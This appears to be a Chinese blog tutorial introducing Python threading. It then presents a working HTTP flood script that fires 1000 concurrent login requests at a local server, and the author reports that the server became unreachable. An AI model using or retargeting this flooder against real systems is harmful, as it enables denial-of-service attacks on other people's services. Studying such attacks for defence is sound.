Python 多线程入门和简单的基于多线程的流量泛洪攻击

| 警告:仅供参考学习,不得做违法的事!免责声明:本文仅仅只是展示攻击手段,提高防范意识。任何由于该文章产生的消极后果与本作者无关。

多线程入门

# 多线程模块导入
import threading

# 创建一个线程对象,进行func任务(往往都是函数)
t = threading.Thread(target=func, args=()) # 如果func有参数,则用args传参
t.start() # 线程开始执行任务

开始实验

接下去就开始多线程泛洪,可以说是非常简单

import requests, threading

# 在本地搭建的一个服务器
url = 'http://localhost:8081/note/userLoginIn'
data = {
    
    'actionName': 'login', 'uname': 'admin', 'upwd': 'admin'}

# 执行登录操作
def login():
    # 利用session维持会话
    s = requests.session()
    if s.post(url=url, data=data, allow_redirects=True):
        print("登录成功")
    else:
        print("登录失败")


if __name__ == '__main__':
    # 简单设置1000个线程
    for i in range(1000):
        t = threading.Thread(target=login)
        t.start()

差不多到200个线程的时候就开始爆红了,浏览器也无法访问了

在这里插入图片描述在这里插入图片描述

可以说是非常简单,这里我还只是执行了登录操作(主要是服务器太烂),多执行几个操作更完蛋

高级的泛洪还得看Alplexchur师傅的SYN泛洪,原理比我这复杂多了:https://blog.csdn.net/qq_27493871/article/details/126793409?spm=1001.2014.3001.5502

猜你喜欢

转载自blog.csdn.net/BrosyveryOK/article/details/127200921